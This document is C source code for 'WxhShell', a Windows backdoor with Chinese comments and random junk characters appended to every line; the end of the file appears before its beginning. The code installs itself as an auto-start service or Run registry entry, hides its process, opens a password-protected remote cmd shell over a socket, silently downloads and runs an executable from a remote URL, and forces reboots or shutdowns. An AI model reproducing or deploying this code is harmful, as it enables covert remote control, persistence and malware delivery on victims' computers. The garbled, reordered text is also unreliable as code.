    else { ]=]`Mnuxb  
    closesocket(wsh); `S=4cSH(  
    ExitThread(0); '494^1"io  
    } G0x!:[  
    break; '[[*(4 a3  
    } [8`^_i=#  
  // 获取shell ery{>|k  
  case 's': { #w)D ml  
    CmdShell(wsh); xEe3,tb'e  
    closesocket(wsh); 3:!5 ]  
    ExitThread(0); BOW`{=  
    break; z8w@pT  
  } 7!8R)m^1[  
  // 退出 xa%2w]  
  case 'x': { "eKM<S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B+=Xb;p8  
    CloseIt(wsh); IeE6?!,)  
    break; 5' 3H$%dC  
    } Pill |4c<  
  // 离开 6 Zv~c(   
  case 'q': { LGC3"z\=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AjO|@6  
    closesocket(wsh); ot,e?lF  
    WSACleanup(); xo(3<1mD  
    exit(1); #TY[\$BHs  
    break; d0 yZ9-t  
        } [~IFg~*,  
  } .^?Z3iA",  
  } ~^"s.Lsb  
+WFa4NZ  
  // 提示信息 !tv+,l&L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0[SrRpD  
} .?-]+ -J?`  
  } 1BA5|  
A ]~%<=b  
  return; %;tBWyq}_  
} 5!^?H"#c  
(W $>!1~  
// shell模块句柄 a/p /<  
int CmdShell(SOCKET sock) 'tzN.p1O  
{ Q!}LtR$  
STARTUPINFO si; G!m;J8#m(  
ZeroMemory(&si,sizeof(si)); NpxND0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~-2q3U Py  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >W@3_{0  
PROCESS_INFORMATION ProcessInfo; >WW5;7$  
char cmdline[]="cmd"; 6SmawPPP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yDBMm^  
  return 0; Je;HAhL  
} g 2&P  
u69s}yZ  
// 自身启动模式 H}&4#CQ'!  
int StartFromService(void) TY *q[AWG  
{ AG<TY<nqL  
typedef struct W!WeYV}kb  
{ 1jQlwT(:  
  DWORD ExitStatus; |t h"ET  
  DWORD PebBaseAddress;  ,L7:3W  
  DWORD AffinityMask; *v9 {f?  
  DWORD BasePriority; GxcW^{;  
  ULONG UniqueProcessId; 8AVG pL  
  ULONG InheritedFromUniqueProcessId; A LnE[}N6,  
}   PROCESS_BASIC_INFORMATION; 5Lm<3:7Q+  
"+KAYsVtU  
PROCNTQSIP NtQueryInformationProcess; /s~&$(d59o  
c9N5c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WCZeY?_^c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sD`OHV:  
UG<`m]  
  HANDLE             hProcess; 5iP{)  
  PROCESS_BASIC_INFORMATION pbi; v?(9ZY]  
c,RY j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P0^7hSo  
  if(NULL == hInst ) return 0; \KPwh]0  
)Aa  h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :s'hXo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H;rLU9b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5X"WgR;  
7`Bwo*Y  
  if (!NtQueryInformationProcess) return 0; kv'gs+,e  
i$W=5B>SO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 14;lB.$p  
  if(!hProcess) return 0; |9cSG),z  
/"OJ~e_%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y@Q? guB  
xSoXf0zq:  
  CloseHandle(hProcess); `tZ`a  
0ud>oh4WPR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H@hHEzO  
if(hProcess==NULL) return 0; Qp]-4%^Vz  
Sk&l8"  
HMODULE hMod; b!xm=U  
char procName[255]; # ^oF^!  
unsigned long cbNeeded; (qXl=e8  
eMV@er|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8 |iMD1  
tM;S )S(=  
  CloseHandle(hProcess); G@;I^_gN  
PFnq:G^L  
if(strstr(procName,"services")) return 1; // 以服务启动 qQ "O;_  
4 Gm(P~N  
  return 0; // 注册表启动 N: Zf4  
} gR:21*&cz  
8cyC\Rs  
// 主模块 0ge^p O\Z  
int StartWxhshell(LPSTR lpCmdLine) ; 0`p"T0  
{ a2N4Jg@  
  SOCKET wsl; @ag*zl  
BOOL val=TRUE; ngHPOI16  
  int port=0; 6$^dOJ_"  
  struct sockaddr_in door; CuD^@  
GBsM?A:  
  if(wscfg.ws_autoins) Install(); :},/ D*v  
.JkF{&=B  
port=atoi(lpCmdLine); 86,$ I+  
-P3;7_}]:h  
if(port<=0) port=wscfg.ws_port; 3V`.<  
_z3YB  
  WSADATA data; 4C{3>BE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; edy6WzxBcm  
P?P))UB5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ho:X.Z9A^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J6Q}a7I#  
  door.sin_family = AF_INET; DfQD!}=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aY7.<p*a  
  door.sin_port = htons(port); H;O PA8\n  
b_JW3l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9&`ejeD  
closesocket(wsl); JKsdPW<?  
return 1; d4#Ra%   
} d@72z r  
^BFD -p  
  if(listen(wsl,2) == INVALID_SOCKET) { op%?V :  
closesocket(wsl); (\6R"2  
return 1; dnP3{!"b  
} _("&jfn  
  Wxhshell(wsl); ?w[M{   
  WSACleanup(); YQ+Kl[ec  
8>|@O<2\  
return 0; = 5 E:CP  
=':,oz^|  
} }@V ,v[&e  
}w)`)N  
// 以NT服务方式启动 U 0M>A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HjFY >(e  
{ Hf'yRKACj  
DWORD   status = 0; !cWnQRIt_F  
  DWORD   specificError = 0xfffffff; j>0~"A  
9#;UQ.qA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; igW>C2J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3[jk}2R';p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^:RDu q  
  serviceStatus.dwWin32ExitCode     = 0; Nh[{B{k  
  serviceStatus.dwServiceSpecificExitCode = 0; Uieg4Iro  
  serviceStatus.dwCheckPoint       = 0; *ppb 4R;CW  
  serviceStatus.dwWaitHint       = 0; j;k(AM<  
92k}ON  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -~HlME *~f  
  if (hServiceStatusHandle==0) return; [[[QBplJ  
{:3XP<hqN  
status = GetLastError(); (Rc 0l;  
  if (status!=NO_ERROR) U "qO&;m  
{ ] PnE%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :-f"+v  
    serviceStatus.dwCheckPoint       = 0; B43o_H|s  
    serviceStatus.dwWaitHint       = 0; r]=3aebR.  
    serviceStatus.dwWin32ExitCode     = status; j{nkus2  
    serviceStatus.dwServiceSpecificExitCode = specificError; Vo%UiVHy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); diLjUC`69  
    return; ,QpDz{8  
  } d\ &jl`8*  
O;A/(lPW+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]rh)AE!Y(  
  serviceStatus.dwCheckPoint       = 0; "iof -b=ys  
  serviceStatus.dwWaitHint       = 0; ?ExfxR!~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \\D~Yg\#  
} A*h)p@3t<  
w^*jhvV%kW  
// 处理NT服务事件,比如:启动、停止 '7F`qL\/#(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H\kqmPl&  
{ 6wWA(![w"  
switch(fdwControl) k*4?fr  
{ DOXRU5uP3  
case SERVICE_CONTROL_STOP: m,u? ^W  
  serviceStatus.dwWin32ExitCode = 0; >oc7=F<8lS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Lh &L5p7  
  serviceStatus.dwCheckPoint   = 0; } V4"-;P  
  serviceStatus.dwWaitHint     = 0;  *ihg'  
  { w?AE8n$8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n#N<zC/  
  } ;e0>.7m  
  return; +{/zP{jH  
case SERVICE_CONTROL_PAUSE: 'Ph4(Yg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K@{jY\AZNx  
  break; w9}I*Nra  
case SERVICE_CONTROL_CONTINUE: &%Hj.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )`rC"N)  
  break; =*'X  
case SERVICE_CONTROL_INTERROGATE: $Mx.8FC +  
  break; kmW!0hm;e  
}; lb1(1 |#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Mlj 7.u]  
} q_f v1U3  
LFSOHJj  
// 标准应用程序主函数 JoZC+G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xuelo0h,  
{ "0L@cOyG  
/]xd[^  
// 获取操作系统版本 %!rsu-W:Y  
OsIsNt=GetOsVer(); Yb =8\<;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Pr<?E[  
:B- ,*@EU  
  // 从命令行安装 {uj9fE,)  
  if(strpbrk(lpCmdLine,"iI")) Install(); g{$&j*Q9  
(oJ#`k:&n  
  // 下载执行文件 2 ;B[n;Q{  
if(wscfg.ws_downexe) { j7-#">YL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]-.Q9cjc$q  
  WinExec(wscfg.ws_filenam,SW_HIDE); % wRJ"T`Tt  
} .: 7h=neEW  
7*XG]=z/  
if(!OsIsNt) { 3F}d,aB A  
// 如果时win9x,隐藏进程并且设置为注册表启动 F{T|lTl  
HideProc(); 9Zrn(D  
StartWxhshell(lpCmdLine); *8XGo  
} Y,m H ]  
else sCb?TyN'n  
  if(StartFromService()) I )B2Z(<Q  
  // 以服务方式启动 m Xw1%w[*  
  StartServiceCtrlDispatcher(DispatchTable); !9)*.9[8  
else n? s4"N6  
  // 普通方式启动 1xtbhk]D  
  StartWxhshell(lpCmdLine); Vxgc|E^J  
^U_jeAuk8[  
return 0; 6ldDt?iSg  
} fQx 4/4j  
R4qk/@]t  
b'-gy0  
5 ?vIkf  
=========================================== j#p3c  
6 *8Ge  
% 9WWBxS  
U |4% ydG  
*gT TI;:  
n(o Jb  
" %)aDh }  
xEiW]Eo  
#include <stdio.h> xU rfH$$!`  
#include <string.h> ac&tpvij  
#include <windows.h> 2=3iA09px  
#include <winsock2.h> L:^'cl} G  
#include <winsvc.h> 5!cplx=<  
#include <urlmon.h> 2dI:],7  
L,kF]  
#pragma comment (lib, "Ws2_32.lib") w|5}V6WD  
#pragma comment (lib, "urlmon.lib") Z=H f OC  
i([A8C_A  
#define MAX_USER   100 // 最大客户端连接数 Ns 9g>~  
#define BUF_SOCK   200 // sock buffer MoF Z  
#define KEY_BUFF   255 // 输入 buffer |]]fcJOBP  
pI^n("|  
#define REBOOT     0   // 重启 WD)[Ac[  
#define SHUTDOWN   1   // 关机 Ql V:8:H$  
er<~dqZ}]  
#define DEF_PORT   5000 // 监听端口 (Pu*[STTT  
G/`_$ c  
#define REG_LEN     16   // 注册表键长度 tIvtiN6[|l  
#define SVC_LEN     80   // NT服务名长度 7PvuKAv?k  
[wOO)FjT  
// 从dll定义API O>>8%=5Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yi%B5KF~Al  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QWP_8$Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &`%C'KZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7v:;`6Jb  
%Mu dc  
// wxhshell配置信息 WMC6 dD_6e  
struct WSCFG { 4v?S` w:6  
  int ws_port;         // 监听端口 {l1;&y?  
  char ws_passstr[REG_LEN]; // 口令 hmi15VW  
  int ws_autoins;       // 安装标记, 1=yes 0=no [j/-(?+  
  char ws_regname[REG_LEN]; // 注册表键名 (nzzX?`nY  
  char ws_svcname[REG_LEN]; // 服务名 ~p 1y+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r:o!w7C:a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \4&g5vE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6RtpB\hq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '\;tmD"N5#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FPMW"~v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]zm6;/ S  
Av[jFk  
}; C^~iz in  
BxG;vS3>*e  
// default Wxhshell configuration ](ninSX1w  
struct WSCFG wscfg={DEF_PORT, k{#:O=  
    "xuhuanlingzhe", D *tBbV  
    1, 5u!cA4e"  
    "Wxhshell", u J$"2<O  
    "Wxhshell", SW=p5@Hy{  
            "WxhShell Service", z(=:J_N  
    "Wrsky Windows CmdShell Service", =wQ=`  
    "Please Input Your Password: ", 93rE5eGs  
  1, 8;5/_BwMu  
  "http://www.wrsky.com/wxhshell.exe", {F4:  
  "Wxhshell.exe" g$97"d'  
    }; $ S49v  
Xgm7>=l  
// 消息定义模块 7 D^A:f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BKTsc/v2>:  
char *msg_ws_prompt="\n\r? for help\n\r#>";  e?7paJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _`(g?  
char *msg_ws_ext="\n\rExit."; a"zoDD/  
char *msg_ws_end="\n\rQuit."; g$tW9 Q  
char *msg_ws_boot="\n\rReboot..."; BCj&z{5"7e  
char *msg_ws_poff="\n\rShutdown..."; E5 dXu5+ye  
char *msg_ws_down="\n\rSave to "; (o|E@d  
'K!kJ9oqe  
char *msg_ws_err="\n\rErr!"; Mc6y'w  
char *msg_ws_ok="\n\rOK!";  96BMJE'  
G1l(  
char ExeFile[MAX_PATH]; ~,:f,FkSQ  
int nUser = 0; hG67%T'}A  
HANDLE handles[MAX_USER]; Uwp +w  
int OsIsNt; cQR1v-Xt  
+EB# #  
SERVICE_STATUS       serviceStatus; y\[=#g1(@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7PMZt$n  
y{N9.H2  
// 函数声明 x0d+cSw  
int Install(void); 'tbb"MEi4  
int Uninstall(void); P8jK yo  
int DownloadFile(char *sURL, SOCKET wsh); fin15k  
int Boot(int flag); x\%eg w  
void HideProc(void); xv:?n^yt.[  
int GetOsVer(void); jBC9Vt;B  
int Wxhshell(SOCKET wsl); aI<~+]  
void TalkWithClient(void *cs); 1gE`_%?K  
int CmdShell(SOCKET sock); bm4W,  
int StartFromService(void); 1mX*0>  
int StartWxhshell(LPSTR lpCmdLine); U,=K_oBAq  
x6t;=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S|[UEU3FpB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GXfVjC31z  
qkIU>b,B  
// 数据结构和表定义  UyQn onS  
SERVICE_TABLE_ENTRY DispatchTable[] = o;[oy#aWl_  
{ &0g,Xkr  
{wscfg.ws_svcname, NTServiceMain}, ]VvJ1Xn0  
{NULL, NULL} 1@WGbORc*  
}; 82X.  
^Toi_  
// 自我安装 R+K[/AA  
int Install(void) cabN<a l  
{ ^6+x0[13  
  char svExeFile[MAX_PATH]; #jX>FXo  
  HKEY key; @I&"P:E0F;  
  strcpy(svExeFile,ExeFile); &Yg/ 08*  
%gaKnT(|r  
// 如果是win9x系统,修改注册表设为自启动 AVp [gr  
if(!OsIsNt) { wLtTC4D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D}T, z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "" U_|JH-  
  RegCloseKey(key); BGX@n#:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }]I?vyQ#V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $<v_Vm?6d  
  RegCloseKey(key); K288&D|1WU  
  return 0; yShHFlO=  
    } 0REWbcxd"  
  } sYXS#;|M  
} e@OA>  
else { lQ/XJw  
'T[zh#v>S  
// 如果是NT以上系统,安装为系统服务 kgz{m;R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G)&'8W F5o  
if (schSCManager!=0) ]lUu%<-;  
{ o(P:f)B  
  SC_HANDLE schService = CreateService RY{tX`  
  ( g1~I*!p  
  schSCManager, D@^ZpN8r  
  wscfg.ws_svcname, >|?T|  
  wscfg.ws_svcdisp, |Z ,G  
  SERVICE_ALL_ACCESS, Q7|13^ |C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2?QJh2  
  SERVICE_AUTO_START, Q$1K{14I  
  SERVICE_ERROR_NORMAL, Nd!VR+IZ  
  svExeFile, 0Mg8{  
  NULL, F :S,{&jB  
  NULL, >K :"[?  
  NULL, "NU".q  
  NULL, ?N*0 S'dY  
  NULL c~xo@[NaS  
  ); !9, pX  
  if (schService!=0) -`OR6jd  
  { 91H0mP>ki  
  CloseServiceHandle(schService); l,.?-|Poa  
  CloseServiceHandle(schSCManager); ozC!q)j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M N#C2 qz  
  strcat(svExeFile,wscfg.ws_svcname); Db(_T8sU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %v[ Kk-d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kA__*b}8UK  
  RegCloseKey(key); sg{D ?zl  
  return 0; vC:b?0s#(  
    } U*Qq5=dqD  
  } 'c&@~O;^d  
  CloseServiceHandle(schSCManager); n*Vd<m;w  
} +5[oY,^cO  
} -kbm$~P  
}4SSo)Uv/  
return 1; @@83PJFid  
} _wNPA1q0J  
b`W*vduf  
// 自我卸载 LUck>l\l  
int Uninstall(void) wy {>gvqK  
{ ,g_onfY  
  HKEY key; 6 ]Oxx{|}  
0j(jJAE.  
if(!OsIsNt) { m > (h_j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SDHc[66'  
  RegDeleteValue(key,wscfg.ws_regname); nKB&|!  
  RegCloseKey(key); 87KrSZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c^O#O  
  RegDeleteValue(key,wscfg.ws_regname); #}dVaXY)  
  RegCloseKey(key); 61W/BU7O  
  return 0; hG7S]\N_  
  } VONAw3k7!  
} QO{=Wi-  
} !y-2#  
else { 4;RCPC  
"F$o!Vk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [fi'=Cb  
if (schSCManager!=0) `uh@iD'KI  
{ Wi[m`#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :z.Y$]F@  
  if (schService!=0) drKjLo[y  
  { M J,ZXJXs  
  if(DeleteService(schService)!=0) { ceZ8} Sh  
  CloseServiceHandle(schService); K3:|Tc(  
  CloseServiceHandle(schSCManager); T_?nd T2  
  return 0; 4iNbK~5j  
  } 99 "[b  
  CloseServiceHandle(schService); ~59`S#ax/l  
  } M+;P?|a  
  CloseServiceHandle(schSCManager); +}QBzGW`  
} PCPf*G>  
} VtO;UN  
dAr)%RZ  
return 1; g'ZMV6b?K  
} UIOEkQ\Wl  
0sDwTb"  
// 从指定url下载文件 BwJ^_:(p~  
int DownloadFile(char *sURL, SOCKET wsh) b/B`&CIA0"  
{ 1N9< d,  
  HRESULT hr; 6WN(22Io  
char seps[]= "/"; C`n9/[,#  
char *token; 96pk[5lj{?  
char *file; Tz[?gF.Do  
char myURL[MAX_PATH]; kAN;S<jSE  
char myFILE[MAX_PATH]; eR-=<0Iw;  
y[p$/$bgC5  
strcpy(myURL,sURL); ml.;wB|  
  token=strtok(myURL,seps); #M?F^u[  
  while(token!=NULL) Ah>gC!F^  
  { 7~"(+f  
    file=token; J+b!6t}mZn  
  token=strtok(NULL,seps); /3Nb  
  } Pc)VK>.fc  
U2V^T'Y[  
GetCurrentDirectory(MAX_PATH,myFILE); g[s\~MF@s  
strcat(myFILE, "\\"); /Y[o=Uyl  
strcat(myFILE, file); d"I28PIS"  
  send(wsh,myFILE,strlen(myFILE),0); ?,:#8.9  
send(wsh,"...",3,0); !ml_S)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5U{4TeUH  
  if(hr==S_OK) 9G#8 %[W  
return 0; b>QM~mq3^I  
else tyuk{* Me:  
return 1; 3gG+`{<  
"65||[=8  
} LMFK3Gd[  
>H}jR[H'  
// 系统电源模块 Ty3CBR{6  
int Boot(int flag)  .3a:n\tY  
{ .6#cDrK  
  HANDLE hToken; /z1p/RiX  
  TOKEN_PRIVILEGES tkp; `M?v!]o  
C[xJU6z  
  if(OsIsNt) { 1t~FW-:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y  .  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dXiE.Si  
    tkp.PrivilegeCount = 1; hG3m7ht  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A{z>D`d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3+(yI 4  
if(flag==REBOOT) { _k_>aG23  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xN`r4  
  return 0; aGB0-;.t7  
} JFRpsv  
else { =Y &9 qt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?aFr8i:)M  
  return 0; BFMS*t`  
} LBmM{Gu  
  } cX %:  
  else { -c+>j  
if(flag==REBOOT) { >-5td=:Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s>jr1~~3O_  
  return 0; X-kXg)!Bg  
} ]6{(Hjt  
else { _BG8/"h32  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &so-O90  
  return 0; -RG8<bI,  
} g.I(WJX0  
} -ca7x`yo  
. [T'yc:=  
return 1; %n05 Jitl  
} @up&q  
7 9Qc`3a  
// win9x进程隐藏模块 5/B#)gm  
void HideProc(void) D:wnO|:  
{ onnI !  
0A#*4ap  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); & u$(NbK  
  if ( hKernel != NULL ) vG]GQ#  
  { x37/cu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _urG_~q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c ]>DI&$;J  
    FreeLibrary(hKernel); LH=d[3Y  
  } lSH ZV Fd  
XkPv*%Er8  
return; XC|*A$x,  
} )v%l0_z{  
F:M>z=  
// 获取操作系统版本 6xH;: B)d  
int GetOsVer(void) X=v~^8M7%  
{ &Nc[$H7<  
  OSVERSIONINFO winfo; )@}A r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (VgNb&Yo9  
  GetVersionEx(&winfo); 7:n?PN(p6a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (y1$MYZ Q  
  return 1; C,o:  
  else 5;W\2yj  
  return 0; sYGR-:K  
} HSNOL  
[6AHaOhR'  
// 客户端句柄模块 Ri|k<io  
int Wxhshell(SOCKET wsl) M_k`%o  
{ 8 AFMn[{  
  SOCKET wsh; i<%m Iq1L  
  struct sockaddr_in client; C<_ Urnmn  
  DWORD myID; 60"5?=D  
jm+ V$YBP  
  while(nUser<MAX_USER) q75ky1^1:  
{ (tepmcf  
  int nSize=sizeof(client); s(teQ\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d9O:,DKf  
  if(wsh==INVALID_SOCKET) return 1; cZqfz  
*kP;{Cb`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Pp ,Um(  
if(handles[nUser]==0) "tqnx?pM  
  closesocket(wsh); yahAD.Xuo@  
else R.K?  
  nUser++; Hi^35  
  } *oCxof9JA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P{?;T5ap6  
G'u|Q mb1  
  return 0; aX|g S\zx  
} zm> >} 5R  
!X-9Ms}(d  
// 关闭 socket z&O#v9.NE|  
void CloseIt(SOCKET wsh) \.o=icOx  
{ # Mu<8`T-  
closesocket(wsh); ^w.]Hd 2  
nUser--; 4Rx~s7l  
ExitThread(0); 6Lb{r4^  
} Uo~T'mA"  
z<!O!wX_aI  
// 客户端请求句柄 >Iuzk1'S  
void TalkWithClient(void *cs) {@3z\wMK$  
{ u$C\E<G^  
h\(B#SN  
  SOCKET wsh=(SOCKET)cs; 6 Ew@L<v  
  char pwd[SVC_LEN]; RT,:hH  
  char cmd[KEY_BUFF]; eH %Ja[  
char chr[1]; GWhE8EDT  
int i,j; ?=<~^Lk  
]% K' fXj$  
  while (nUser < MAX_USER) { D&/I1=\(  
p!_[qs  
if(wscfg.ws_passstr) { !NTH.U:g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qe<Hfp/p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "Ht'{&  
  //ZeroMemory(pwd,KEY_BUFF); XIKvH-0&  
      i=0; 3A_G=WaED  
  while(i<SVC_LEN) { \^jjK,OK  
C0QM#"[  
  // 设置超时 /,!<Va;~  
  fd_set FdRead; Q^L) Vp"  
  struct timeval TimeOut; 3f"C!l]Xu  
  FD_ZERO(&FdRead); O5zE {#  
  FD_SET(wsh,&FdRead); H(b)aw^(%  
  TimeOut.tv_sec=8; jXixVNw  
  TimeOut.tv_usec=0; e?b)p5g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YScvyh?E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >p0KFU  
t8P PE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /2xSNalC  
  pwd=chr[0]; :|rPT)yT]  
  if(chr[0]==0xd || chr[0]==0xa) { )n>+m|IqY(  
  pwd=0; YlTaN,?j  
  break; 7\Co`J>p2  
  } ,[* ;UR  
  i++; *$S#o#5  
    } ,!Q]q^{C:W  
d`mD!)j  
  // 如果是非法用户,关闭 socket )hBE11,PB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cL G6(<L  
} rh66_eV  
E;9>ePd@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k[ %aCGo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lNz]H iD  
6Z?Su(s(5  
while(1) { x:fW~!Xc6  
3#c3IZ-;  
  ZeroMemory(cmd,KEY_BUFF); YHB9mZi  
gv|"OlB  
      // 自动支持客户端 telnet标准   r{_>ldjq  
  j=0; I`T1Pll  
  while(j<KEY_BUFF) { BJk Z2=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zU&L.+   
  cmd[j]=chr[0]; Wpr ,j N8b  
  if(chr[0]==0xa || chr[0]==0xd) { uR$i48}  
  cmd[j]=0;  .t =  
  break; ; b*i3*!g  
  } 0J9D"3T)  
  j++; \vRd}   
    } GSi>l,y'  
"hQgLG  
  // 下载文件 #$E)b:xj  
  if(strstr(cmd,"http://")) { jo9gCP.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lyv4fP  
  if(DownloadFile(cmd,wsh)) O$D?A2eI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;SY\U7B\  
  else aJzLrX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y t5H oy  
  } ]Y`Ib0$  
  else { Dd,2;#_  
5)UQWnd5  
    switch(cmd[0]) { ;wHCj$q  
  > ' i  
  // 帮助 e#S0Fk)z  
  case '?': { Z"y=sDO{  
